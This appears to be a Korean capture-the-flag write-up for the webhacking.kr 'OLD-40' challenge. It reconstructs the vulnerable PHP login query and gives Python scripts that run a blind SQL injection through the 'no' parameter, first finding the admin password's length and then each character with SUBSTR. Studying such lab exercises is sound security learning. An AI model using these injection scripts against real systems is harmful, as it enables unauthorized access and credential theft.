#️⃣

OLD-40

코드없이 하는 sql injection이다.
주로 admin으로 로그인할 수 있으면 문제가 풀리기 마련인데 한번 시도해보자
로그인 실패 성공에 여부를 알 수 있다.
no 도 맞고, pw도 맞아야 문제가 풀리는 것 같다
동작하는 걸 보아하니 이런 식으로 돌아가는 거 같은데
if $POST['id'] == "" or $_POST['pw'] == "" or no==0 => exit() q = mysqli_query($db,"SELECT * from chall40 WHERE id='{$_POST['id']}' and pw='{$_POST['pw']}' and no=$_POST['no']"); if q{ echo "Success - $id"; } else{ echo "Failure"; }
PHP
import requests import os os.system("cls") print("--------------------") URL = "https://webhacking.kr/challenge/web-29/" cookie = {"PHPSESSID": "<--REDACTED-->"} for i in range(0,10): para = { "no": "0||no="+str(i), "id": "admin", "pw": "1111" } res = requests.post(url=URL,params=para) if "guest" in res.text: print(str(i)+" : guest",end="\r") elif "admin" in res.text: print(res.text) break else: continue
PHP
이런 결과를 받아볼 수 있다. 즉 새로운 입력 창이 나오는 것인데, 이걸 분기로, admin과 관련된 정보를 찾아내면 된다.
먼저 길이 정보를 찾아주고, 각 글자마다의 값을 찾아주면 된다.
import requests import os os.system("cls") print("--------------------") URL = "https://webhacking.kr/challenge/web-29/" cookie = {"PHPSESSID": "<--REDACTED-->"} for i in range(0,20): para = { "no": "0||2&&length(pw)="+str(i), "id": "admin", "pw": "1111" } res = requests.post(url=URL,params=para) if "guest" in res.text: continue elif "admin" in res.text: print("pw length : "+str(i)) length = i break else: continue flag = "" guest = 'guest' for i in range(length+1): print("WORKING ON "+str(i)+" length") for k in range(30,128): print("chr : "+chr(k),end="\r") para = { "no": "0||2&&SUBSTR(pw,"+str(i)+",1)="+str(hex(k)), "id": "admin", "pw": "1111" } res = requests.post(url=URL,params=para) if "admin" in res.text: flag += chr(k).lower() print("flag : "+flag) break elif k == 127: flag +=guest[i-1]
Python